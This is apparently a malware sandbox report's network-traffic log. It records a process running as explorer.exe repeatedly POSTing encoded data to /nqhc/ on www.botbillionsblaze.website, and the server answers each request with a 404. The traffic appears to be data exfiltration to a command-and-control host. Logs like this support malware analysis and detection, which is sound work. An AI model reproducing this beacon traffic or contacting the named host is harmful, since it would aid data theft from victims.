Dec 5, 2022 15:16:11.208053112 CET	11447	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 74 49 62 4a 66 41 68 52 71 43 52 4d 49 47 52 69 76 5a 75 50 35 61 70 4c 47 30 7e 49 48 47 4b 36 61 36 42 64 71 72 46 39 31 53 53 38 65 43 45 79 73 31 59 37 52 49 59 35 7e 43 68 30 54 62 64 6e 6b 6b 6b 59 32 70 72 56 61 76 30 6a 70 63 47 44 64 53 51 53 43 6b 32 56 43 43 61 52 65 39 5a 68 54 50 4b 4e 42 78 34 51 6e 78 6d 75 36 6a 62 30 79 6a 6b 49 61 47 4d 44 65 34 6b 39 61 47 50 67 59 55 4f 4b 68 79 4e 54 70 53 52 54 33 46 4b 6c 39 69 34 52 70 58 62 33 68 38 4b 52 5a 55 52 48 67 62 52 4e 56 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=EqVrxMRHLBCwtIbJfAhRqCRMIGRivZuP5apLG0~IHGK6a6BdqrF91SS8eCEys1Y7RIY5~Ch0TbdnkkkY2prVav0jpcGDdSQSCk2VCCaRe9ZhTPKNBx4Qnxmu6jb0yjkIaGMDe4k9aGPgYUOKhyNTpSRT3FKl9i4RpXb3h8KRZURHgbRNVw).
Dec 5, 2022 15:16:11.231944084 CET	11448	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:11 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.11.20	49862	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:13.268534899 CET	11449	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 61 36 64 65 4a 64 34 75 6c 39 79 53 53 38 57 69 45 33 6a 56 59 79 52 49 63 48 7e 48 5a 30 54 62 4a 6e 6c 56 45 59 33 5a 72 61 52 50 30 73 68 38 47 34 4d 43 51 4d 43 6b 4b 33 43 44 4f 52 65 4e 46 68 43 35 57 4e 51 31 56 47 71 78 6d 67 38 6a 62 37 70 7a 6b 4f 61 47 78 30 65 36 6b 4c 5a 77 48 67 59 31 75 4b 67 79 4e 53 77 79 52 49 72 31 4c 56 7e 68 6c 37 69 6c 66 55 37 38 53 2d 64 45 63 4b 30 4a 4e 4a 4b 61 46 48 68 62 7e 66 57 66 50 56 41 59 63 76 32 4d 33 79 72 2d 6e 59 32 62 59 65 6e 39 68 35 41 4f 63 57 56 77 7a 50 46 4b 65 33 6a 6f 48 7a 46 68 6d 53 46 36 31 4d 64 71 38 32 71 62 38 33 28 33 71 6a 32 53 46 2d 32 46 37 79 43 6f 79 50 74 4c 78 76 35 55 63 79 4f 43 4a 73 65 49 35 73 47 47 7e 79 6b 67 6b 49 52 4e 77 59 66 52 54 73 76 36 39 72 4b 66 39 4a 6d 51 63 64 31 67 59 62 31 47 66 71 44 45 56 6f 32 4a 49 6f 6f 32 67 54 32 54 47 5a 28 7a 44 4f 6d 41 5a 4e 58 7a 73 47 4a 69 76 62 37 2d 47 35 69 31 55 62 50 46 53 52 46 52 32 65 41 32 67 72 51 6c 4d 67 44 56 51 79 35 50 4e 32 41 49 31 59 63 57 38 74 6c 4d 34 30 43 71 33 6c 46 73 50 6c 50 66 45 45 52 63 70 32 55 4b 74 46 71 6a 53 43 4e 51 50 65 35 35 56 43 4e 79 73 47 65 6d 46 4b 30 37 54 33 6f 6c 36 4f 7a 66 4d 70 66 75 5a 5a 71 5f 45 36 6a 31 50 45 75 62 72 76 35 33 43 59 31 71 4e 47 6a 6c 54 6d 42 42 76 65 78 39 73 4b 73 73 4e 4a 6f 45 28 6a 46 67 63 72 75 2d 38 68 4c 61 72 6c 58 7a 71 30 77 5f 50 4e 53 46 6d 4f 68 49 55 42 5a 4e 42 5a 49 2d 46 79 35 5f 45 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwa6deJd4ul9ySS8WiE3jVYyRIcH~HZ0TbJnlVEY3ZraRP0sh8G4MCQMCkK3CDOReNFhC5WNQ1VGqxmg8jb7pzkOaGx0e6kLZwHgY1uKgyNSwyRIr1LV~hl7ilfU78S-dEcK0JNJKaFHhb~fWfPVAYcv2M3yr-nY2bYen9h5AOcWVwzPFKe3joHzFhmSF61Mdq82qb83(3qj2SF-2F7yCoyPtLxv5UcyOCJseI5sGG~ykgkIRNwYfRTsv69rKf9JmQcd1gYb1GfqDEVo2JIoo2gT2TGZ(zDOmAZNXzsGJivb7-G5i1UbPFSRFR2eA2grQlMgDVQy5PN2AI1YcW8tlM40Cq3lFsPlPfEERcp2UKtFqjSCNQPe55VCNysGemFK07T3ol6OzfMpfuZZq_E6j1PEubrv53CY1qNGjlTmBBvex9sKssNJoE(jFgcru-8hLarlXzq0w_PNSFmOhIUBZNBZI-Fy5_E.
Dec 5, 2022 15:16:13.292660952 CET	11449	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:13 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.11.20	49863	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:15.324063063 CET	11455	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 53 36 64 70 4a 64 71 50 6c 39 7a 53 53 38 56 69 45 32 6a 56 5a 67 52 49 6b 39 7e 48 46 65 54 5a 78 6e 6c 45 55 59 30 76 28 61 55 50 30 74 69 38 47 41 64 53 51 59 43 6b 32 72 43 44 61 65 65 39 42 68 54 4f 36 4e 42 55 55 51 79 78 6d 75 38 6a 62 6e 28 44 6c 74 61 47 31 6b 65 36 34 4c 5a 79 7a 67 61 48 6d 4b 73 46 68 53 71 53 52 58 67 56 4c 61 30 42 6c 65 69 68 28 71 37 38 53 49 64 46 6f 4b 30 4c 56 4a 4c 5a 64 45 68 37 7e 66 49 76 50 53 45 59 52 6b 32 4d 62 55 72 2d 37 59 32 5a 6f 65 6c 64 68 35 56 66 63 52 57 51 79 45 42 4b 65 6b 6e 6f 44 37 46 68 61 47 46 34 35 4d 64 36 6f 32 77 4b 38 33 38 56 4f 6a 7e 53 46 38 79 46 37 74 55 59 7a 51 74 4c 42 7a 35 56 39 50 4f 46 4a 73 59 6f 5a 73 51 55 47 78 6a 41 6b 4b 64 74 77 42 4a 68 66 6f 76 2d 5a 38 4b 66 39 6a 6d 55 6b 64 31 52 6f 62 30 48 66 74 41 55 56 56 76 5a 49 48 6d 57 6c 53 32 54 61 52 28 79 37 65 6d 43 31 4e 56 54 73 47 66 52 47 4e 69 65 47 2d 36 46 55 4a 51 56 54 52 46 52 72 39 41 33 6b 52 58 52 45 67 41 46 41 79 7e 66 4e 31 43 6f 30 52 57 32 38 52 30 63 34 30 43 71 36 42 46 70 58 6c 4f 74 55 45 52 72 74 32 52 5a 56 46 73 6a 54 4a 4e 51 4f 61 35 35 52 48 4e 79 6c 52 65 6d 5a 77 30 34 28 33 70 77 6d 4f 30 65 4d 75 62 65 5a 51 75 5f 46 69 75 56 44 70 75 62 6e 64 35 33 54 76 79 5a 5a 47 69 6c 44 6d 46 42 76 66 37 39 73 4e 36 38 4e 62 28 55 44 4a 46 67 42 63 75 5f 35 2d 4c 59 37 6c 58 53 4b 76 67 75 66 71 4d 31 32 5a 6a 4d 55 43 52 4c 5a 46 61 72 70 73 6e 5a 71 7a 68 33 44 42 5a 74 33 55 78 59 67 55 31 62 69 6e 4c 44 4a 41 71 54 6b 56 72 6b 76 55 35 5f 4a 55 79 4d 6e 38 63 76 76 4e 57 31 74 4d 56 48 46 41 61 37 70 75 74 55 77 4f 64 53 66 45 59 5a 47 67 35 43 6c 69 68 30 51 7a 28 56 32 75 36 39 67 58 42 32 7e 43 4a 6e 63 4b 32 5a 61 70 4c 76 32 47 33 79 61 67 61 6f 69 77 33 47 6e 44 62 39 34 75 30 69 4c 53 54 63 6f 56 74 41 6f 72 62 70 44 73 46 64 6f 6a 41 73 46 66 42 75 6d 33 41 48 71 73 7e 48 57 50 77 52 44 6e 28 6f 35 56 49 62 35 30 47 7a 56 70 43 5f 5a 5a 75 4f 6e 77 42 50 43 2d 28 47 7a 62 54 2d 48 37 59 35 75 32 48 4f 72 6e 56 62 69 77 4d 43 4b 4b 28 7a 78 30 54 76 78 75 48 78 38 42 31 38 49 32 47 6b 4c 35 70 70 72 4f 77 38 4d 58 31 39 6c 4c 76 48 68 44 79 6b 4a 6a 59 52 46 71 6a 43 69 6a 46 66 79 45 57 66 73 38 55 69 59 50 43 32 58 66 68 57 50 37 6c 37 50 32 44 5a 30 69 75 46 4f 39 36 78 35 41 48 5f 69 75 76 52 77 65 79 36 4f 56 54 32 57 78 67 70 65 58 50 79 51 46 4c 31 36 68 7a 55 4a 31 50 77 67 71 48 41 6b 53 6b 44 6f 63 71 64 7a 65 55 45 36 79 42 66 77 68 33 78 79 70 57 39 7e 75 45 39 76 49 35 43 67 4d 6d 6c 6d 33 70 65 41 59 46 78 33 4c 45 72 39 49 73 49 78 2d 4f 4b 51 7a 38 55 78 72 56 30 4b 49 5a 4a 55 31 7e 2d 45 7a 28 6a 68 5f 78 70 4b 4b 59 7a 63 39 72 6e 63 77 46 4d 6c 77 39 37 63 62 35 4e 61 66 6c 47 43 73 70 64 53 73 38 72 69 39 70 62 46 43 46 4b 6c 36 6a 57 4c 79 50 35 55 4b 39 69 72 31 6e 6d 6a 4c 36 41 58 45 4c 6b 4b 56 62 39 75 6d 51 37 7e 34 67 57 6a 52 65 69 47 39 59 39 47 6e 31 2d 6b 36 36 56 42 41 34 36 30 35 77 30 51 5f 54 5f 73 6a 51 2d 4a 37 4c 67 30 49 79 76 6f 57 6b 57 5a 45 30 53 64 51 38 71 69 4e 55 74 30 75 53 78 68 4d 35 45 33 70 61 30 28 32 45 6a 36 65 41 58 71 57 59 4c 53 48 77 43 31 4d 33 46 58 7a 61 6c 6b 79 49 56 77 44 79 51 64 35 56 64 62 46 65 68 59 5a 45 53 77 2d 6b 66 52 46 75 62 28 55 46 7a 7a 36 76 54 31 62 7e 77 6d 31 35 6d 4d 33 7a 4d 68 64 65 72 63 72 31 70 6e 4e 7e 44 78 43 39 57 59 5a 49 4b 43 34 37 6a 71 56 68 66 30 51 48 4d 53 51 4e 73 5a 63 75 49 62 6e 67 57 54 38 55 51 6d 2d 32 45 6f 6c 43 58 44 59 6d 48 48 35 6d 6d 65 4c 62 32 31 73 4a 59 39 65 70 35 58 6d 54 37 46 79 4e 4f 7a 30 74 64 28 66 6e 56 4e 61 42 79 6a 46 75 70 76 4c 42 6e 79 4d 41 67 6c 30 71 2d 34 74 70 30 66 6e 73 65 6a 77 34 6d 6c 33 44 42 7e 42 51 4b 72 47 62 46 37 53 4f 65 64 34 4f 30 79 4d 76 65 48 4e 45 6f 54 78 4f 35 53 55 6c 49 6f 51 48 66 66 57 45 47 4f 71 46 50 68 67 76 65 4e 66 77 47 4b 41 66 6b 42 53 39 47 7a 47 6c 49 4f 53 64 66 31 45 50 4e 6a 71 69 30 43 5a 64 34 44 54 77 4f 59 53 52 65 64 7a 4e Data Ascii: 7nWHV=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwS6dpJdqPl9zSS8ViE2jVZgRIk9~HFeTZxnlEUY0v(aUP0ti8GAdSQYCk2rCDaee9BhTO6NBUUQyxmu8jbn(DltaG1ke64LZyzgaHmKsFhSqSRXgVLa0Bleih(q78SIdFoK0LVJLZdEh7~fIvPSEYRk2MbUr-7Y2Zoeldh5VfcRWQyEBKeknoD7FhaGF45Md6o2wK838VOj~SF8yF7tUYzQtLBz5V9POFJsYoZsQUGxjAkKdtwBJhfov-Z8Kf9jmUkd1Rob0HftAUVVvZIHmWlS2TaR(y7emC1NVTsGfRGNieG-6FUJQVTRFRr9A3kRXREgAFAy~fN1Co0RW28R0c40Cq6BFpXlOtUERrt2RZVFsjTJNQOa55RHNylRemZw04(3pwmO0eMubeZQu_FiuVDpubnd53TvyZZGilDmFBvf79sN68Nb(UDJFgBcu_5-LY7lXSKvgufqM12ZjMUCRLZFarpsnZqzh3DBZt3UxYgU1binLDJAqTkVrkvU5_JUyMn8cvvNW1tMVHFAa7putUwOdSfEYZGg5Clih0Qz(V2u69gXB2~CJncK2ZapLv2G3yagaoiw3GnDb94u0iLSTcoVtAorbpDsFdojAsFfBum3AHqs~HWPwRDn(o5VIb50GzVpC_ZZuOnwBPC-(GzbT-H7Y5u2HOrnVbiwMCKK(zx0TvxuHx8B18I2GkL5pprOw8MX19lLvHhDykJjYRFqjCijFfyEWfs8UiYPC2XfhWP7l7P2DZ0iuFO96x5AH_iuvRwey6OVT2WxgpeXPyQFL16hzUJ1PwgqHAkSkDocqdzeUE6yBfwh3xypW9~uE9vI5CgMmlm3peAYFx3LEr9IsIx-OKQz8UxrV0KIZJU1~-Ez(jh_xpKKYzc9rncwFMlw97cb5NaflGCspdSs8ri9pbFCFKl6jWLyP5UK9ir1nmjL6AXELkKVb9umQ7~4gWjReiG9Y9Gn1-k66VBA4605w0Q_T_sjQ-J7Lg0IyvoWkWZE0SdQ8qiNUt0uSxhM5E3pa0(2Ej6eAXqWYLSHwC1M3FXzalkyIVwDyQd5VdbFehYZESw-kfRFub(UFzz6vT1b~wm15mM3zMhdercr1pnN~DxC9WYZIKC47jqVhf0QHMSQNsZcuIbngWT8UQm-2EolCXDYmHH5mmeLb21sJY9ep5XmT7FyNOz0td(fnVNaByjFupvLBnyMAgl0q-4tp0fnsejw4ml3DB~BQKrGbF7SOed4O0yMveHNEoTxO5SUlIoQHffWEGOqFPhgveNfwGKAfkBS9GzGlIOSdf1EPNjqi0CZd4DTwOYSRedzNyPYuX3yaUp47ZNEA6gr6N7siB5noOsCYuA89QGkKJMJ3cA3p4uPkEr0oxj3JzQxaRY3jR7QQa0sB988ShXtp1ESKZGNJQAJaqRgpZ4d~KyizngnQS6VBY38zzrj41dOcAm2b31w9eLqfTidFc0eCrDi(QRINHLPfYgI7V83jwv01JEFEz049oNl86vUIghru8Vd1_y5OidPLdb3Po(R6uUniDwZH1aHJrTT1r3y6pJjx5tUYyu-H8sM4l(hccCP~orQ(Dmpm_RG3uqwSA~aDIeNBtI-zfsSWNCjaY8nhe8TbWS1R1bMb7NKl4hZBfkBKmp8i1JPyiKNEoJNq-lzezgNsC8oIgY1psPJmZHgYXH7QA5FkYW5ymKvleLMFCvprsBgwldGEP60Se3F0rIjDBASQbQz5ya8jo9V4y15FQbBEgUyuAlWGV3LncPjlBOQtFbWFxtMpkaruvmwP220i0~ad3tOagMYnuQPWJX49DC12nlyosFM4lfVrrGIrjzqi-uGJ7yH350Q9OQP4EXLoIOaO9i6r9qweZqZUdqVzlPxZ_MkaPXFjDct39AuRfL2vcjONNQ_qxhmrGujAbJpSx~hBwKqz4sXXo3cEsZ0VBy9yX7t9QFRiL(oI_RzjNKClhzOhVS-oJ82LXu6kRzcdPGhY2jS1N~yV9MZNyfIfP9ji-l_JgjySu5v1ArUe-MHHur5CNdIXTmhWymRq7KS8x17fFh4OxbJS1D1ytJ-xpQJ4puP8o8bIk(YGblOrHd-bvyKhwEL2mGR4_Ejvvec~xflDQm_G2w2DRExWeyfTYydTqo9B026xnmbJCqVq-~IqrLpyC0y(OJbncZ7oIJ6E6rKACh1LoF_42SrAahv9YH6PUwhKMcmSHktV_oWto217JJV13oc21M7PTzFWbacrEafagypWfi84yl70oMm7sGpdDFV5lrMYhs4Sd3rg4o4arH_ry84dMIjr55zvw43ut4ZKmP_rIfkiK4QHfQCwTXLx9YI(ke_UMlghr(-qwowXaMUxXPN3jyqCcD4uUWO33nZ7fx9bhOCMZ30JbLERc7Rf3SdEN5JY89MxRChv3detFxbzb(VFVLr27RDLmou(a67TEoUs4K2ZVTxCr1PyeQzuGFuFaD1wP5ad6JOyHq4Tus6KhFyWlYQWIHyozssZsPnYPgk5WL9b18yV1skNqRcJxT5Ex3hHwXwbXZmXKgVMpJv0k(6PVs9uelbbpXg7DNXon0Z92Ea9ZDNdjU-ur4WHcbht8u6aQXNZosF1im782CPcYEDbe2zYUAmBc8qDkbP0q0v6VypcRDL~FGV76y4wXEckVYF6ArIhmVpCNDUNAdxfyruF5tFF1~8jfj67URcX0TweO7cyAyPIUPEZJGCLSpn(A1PzyMJ~WtPERwsVNVMX9vaS2RfQYOUgDf_Kkj1(WwGGBW0b3ftlLCV6T8BoFUUdDiyUdL0HJiAh9MhohG0du0uXYV4IkNF9GqPQmP02EzCIOd8RrVE(oWnKsYNv7ngXVLhugT-2Xd2yMRvUAaYtvtlBBTVpGlOYySzkTWGplgle4XEk3U11DzW(PiNHN7jCW5XZIYmx4x4sbMzGnW5tCzOJAiS~5nh(JnFrnx2Ox1mRw9Hwb0WSC2pWadHSe1Lv9OooDqgnPpNdKELq7W1q_cBF8beAf4v(37ZTAmalA09sAul1Mha6V0CjiNPjIa2HdAJMds9ipQ0uEPgnPz25eBZhNJCXGKZcUGcoDUYRSLOwt68tBkXmCQ9nczM2DhG0UfqRmvDU9lxk6JohKaIzhh4tQc1Jzt1Ul2_ZtMF7maFCI1-vYAy4r(JEGmfjIwkyWm5anCR5H10wpk-qAjcnheFCOnd0lNHBSzsnN5IM4zxawDeABt-Lqsh8dgJ2JRg9ur76n4jOAhWSvyfv5oaPU5qoE0LAvM575AFHgHOfISxpYhJGad5AM2mvXwUl0ozmhzhSQWblke9ParlsVDZxLXUlA6vOyFm4QaRgPt8sH1IJn1FXMhz8rX_8QpRTRbpFes2qMhkAQ3HINS-sWlh2qLIs2dmziX86eQE(uu-a-7XmeHSmEUn9sccvdCw4n1ccbiNfScVBxKxKE(HoqzNrWEQM347q_m6~Qg_pa05oQa5u0y2jLGXtb6fP6jQOUL9zxt2dzTeFFVCZw5TyX8fJ3pVtPBNsGQu8YZlUKmmjhbljMgJU5SEtwkSvunGl9b3uH1T6qnyWChbA9hx59NQcVIZ5SL5K-F-49xSetATqOK7RL9FkDyh8pOH4KlZjoz4M1DkbmFMieWy2s7erxNbShpBtEg_vMBWWUKWIPsCUd~m2Rmh2C6Z5Dpbllqyku5hKozw4W~7tao-DTOXayF2BmdDAcANH6VImalsTuzyZjRHjvR0wAoxKe7KKXh742ZorDfpXGl7oOMn7nHGWqyOVhAyvl8FTFmdyFXpwOxBVQaDklhw86jH(GPtb3DjBgZeA_puDdo9~R5XZFkXAJDRgkj2ZmkZX51TiP7RQG1mEhU6yBUfsX7LSDI8MVWMjst57SUnsUaAxDTgDLx8Bv~qw1V_~yFKCNAUgjSIHxx8os5ZqIZVUOZbpl(fc3fiNOXuF1gOMHevEYY-(C0aKeg5pcViZJ7q9ghGlXYDxWtYynNAgY7B8ahA9pGbs7p79K~Zbg5ykENQ5z4_VMCp4FrzmRb_wOIqUXgTX5Al4BGWayVHoYLt~WTT
Dec 5, 2022 15:16:15.324172974 CET	11462	OUT	Data Raw: 43 39 53 41 6a 5f 45 54 6e 51 67 76 69 36 28 69 50 32 6b 4e 51 4b 6e 4a 65 56 71 74 47 31 69 4a 67 48 35 6e 46 51 44 31 6f 32 68 62 45 36 4b 33 72 6a 42 62 4e 44 32 4d 50 6a 58 54 78 41 6c 38 34 34 42 32 34 6e 78 31 4f 63 7a 44 6e 6b 39 4a 6a 50 Data Ascii: C9SAj_ETnQgvi6(iP2kNQKnJeVqtG1iJgH5nFQD1o2hbE6K3rjBbND2MPjXTxAl844B24nx1OczDnk9JjPcOAnTC~SZmfjEMLIqq5ZDnj8Ug0IWm0-XgYxm0rdi0lWLR1CDhg1aUIMx_I8(DWy8xajfRazlXRVWXLv~FEdDpFEtB5U9aGY~TAmPIZ2HM1835T3afu6HJvMhotywJVIMDAk8a9HrKVzdH5stBXLrVkrAhkH2xEVS
Dec 5, 2022 15:16:15.352143049 CET	11463	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:15 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Dec 5, 2022 15:16:15.352364063 CET	11465	OUT	Data Raw: 66 51 44 70 53 51 68 79 4e 51 5a 37 71 44 66 39 55 76 66 34 57 62 46 55 34 68 39 6c 52 38 54 55 73 41 34 39 7a 78 6e 4c 78 50 43 6a 37 69 47 54 59 70 77 43 4c 48 31 52 6b 39 72 4d 6e 41 37 61 34 36 79 4f 42 34 4c 46 51 4c 42 75 36 4f 70 66 48 72 Data Ascii: fQDpSQhyNQZ7qDf9Uvf4WbFU4h9lR8TUsA49zxnLxPCj7iGTYpwCLH1Rk9rMnA7a46yOB4LFQLBu6OpfHroWILrGldM3y2LxFOhYjNfczvxtm9(wh6X838KKkhFnUynxIIjWKyYr5w19W7CkxzHBHPq_WQh7OBzfGs3GZTGDOK2iUzHRylxAHifkLpr1Qk3TKu2SfhAJy8hU4Ul69yPe0p1Ex-3oUKtjUBUsZy4DDlJaSd2Pv9T
Dec 5, 2022 15:16:15.352364063 CET	11471	OUT	Data Raw: 75 62 41 49 4c 6b 68 6a 74 4e 45 4f 74 62 71 49 58 6a 30 76 28 76 46 4f 6b 39 39 72 72 50 78 47 38 54 46 32 41 50 47 79 52 57 34 30 78 5f 42 2d 78 66 39 67 34 32 4f 35 5a 48 45 6b 54 52 51 6b 6d 67 50 4a 32 36 46 6b 32 6a 72 77 55 69 68 47 6e 6b Data Ascii: ubAILkhjtNEOtbqIXj0v(vFOk99rrPxG8TF2APGyRW40x_B-xf9g42O5ZHEkTRQkmgPJ26Fk2jrwUihGnknZejQdiLQ-1Octd6BLSkuGjS8DHf3hYLEup9mLCnAOqOq7IvsB2So1Awf5BJ2RvQEhxthSHkZnKZkhIiF9fQQrr9FTq8htu7Mr5pSyjxd0QoaDJAULPdmHKr24NnGj5MGajKPJhP3VCHWWEENA7oeD7sP8R5Em560
Dec 5, 2022 15:16:15.352564096 CET	11473	OUT	Data Raw: 33 75 68 45 71 47 5a 39 61 55 5a 4b 6e 67 52 4e 6a 6d 7e 69 54 30 75 6b 42 6f 33 46 50 41 52 6f 68 41 6e 6b 7a 68 41 38 55 6e 38 30 34 64 57 4c 55 50 62 54 39 70 47 6f 79 5f 38 37 52 56 7e 50 79 69 44 53 37 49 74 75 43 6e 38 38 71 6e 47 59 6d 32 Data Ascii: 3uhEqGZ9aUZKngRNjm~iT0ukBo3FPARohAnkzhA8Un804dWLUPbT9pGoy_87RV~PyiDS7ItuCn88qnGYm2lRXR9nfrqVHEqNl6sOCnlSSNN8x_mnbEyHP0Ow2Hw84-yXnAEZQIkCd7DPP1ZaeZSg7tTz8DIRMG6b2pg4XmlUARS-Ynr37RvnElAXczCTASL3RL6kkjni5xNkNYeT~_1_18v2I203ltAvNa3ewnu6yG5UyyoIcR1
Dec 5, 2022 15:16:15.352667093 CET	11480	OUT	Data Raw: 68 66 38 68 43 70 51 72 7a 32 56 71 37 6d 28 58 58 65 63 4b 28 61 6c 31 64 58 72 7a 33 42 71 6d 31 41 6a 6d 69 47 42 4b 34 69 41 32 74 78 5a 42 4a 68 42 4b 4b 41 6a 53 63 78 73 39 59 34 50 67 41 6b 4b 32 55 50 72 53 68 46 59 56 50 74 52 6c 56 61 Data Ascii: hf8hCpQrz2Vq7m(XXecK(al1dXrz3Bqm1AjmiGBK4iA2txZBJhBKKAjScxs9Y4PgAkK2UPrShFYVPtRlVatiLCsCDbbCdPa63Fy4lWtB(751KjBpzTKLNkuhMwAbWrCky9ctIFzeAznB(HJdpQYS2aS4nOGkRYTIXWi8kW1Ky80n1hhiFVbrcVw76td2asQjBZ6najNk7wFTWoGCy34CH6FTIdHpBLHfPE6wwlnW0GdyHpCdct4
Dec 5, 2022 15:16:15.352761030 CET	11482	OUT	Data Raw: 69 49 28 44 76 66 36 73 51 66 37 75 46 44 7e 4f 6d 2d 44 70 51 62 32 62 43 6a 6c 36 42 47 71 38 75 61 61 34 4f 55 7e 61 67 44 28 4a 6d 6d 6f 59 43 30 6c 50 38 31 49 35 71 70 68 77 6f 72 4c 31 41 59 34 62 39 62 7e 4d 54 53 6e 54 46 31 62 53 57 7a Data Ascii: iI(Dvf6sQf7uFD~Om-DpQb2bCjl6BGq8uaa4OU~agD(JmmoYC0lP81I5qphworL1AY4b9b~MTSnTF1bSWzFx7_tBdpkArNxUtVbidL67AgnJ8rvcWf6k9k3srJYXNBWHf59Etc5GTgH8oIXOvpNf2_jjRzYd~G~ZO0ExoDsaJVckGHcqMnJjTp4OZJJjxQn63JMUnBzq6xpSod51Wft-FFJp0is05UgQDuEMjxYFT4RM3bfIsdE
Dec 5, 2022 15:16:15.352938890 CET	11489	OUT	Data Raw: 44 41 69 4c 32 4f 55 52 42 32 62 57 45 49 51 35 4e 6d 4c 4d 28 62 71 2d 54 76 70 4b 4c 5a 74 47 6a 68 55 50 50 77 46 47 52 45 61 69 52 32 71 4e 7e 7a 7e 32 37 63 4d 4f 58 30 39 39 47 4d 4b 36 46 4d 66 52 61 69 53 70 51 30 4d 4c 48 4b 6e 53 35 50 Data Ascii: DAiL2OURB2bWEIQ5NmLM(bq-TvpKLZtGjhUPPwFGREaiR2qN~z~27cMOX099GMK6FMfRaiSpQ0MLHKnS5PGb(R94PnMyPhc3qwqtL3uj3rtApNQ59AOFPp0a6wluR68wlB9In5tQeZEE11CJ4zDrCL5szBmt2iT07cyuvyFkS-eZ2Ojl(kNTh6yl5A0A1jrBfFe4I6ws19aPP4ymi7JM7DoQYmdHkxwKHONtrp1qyN2P9abxDa5
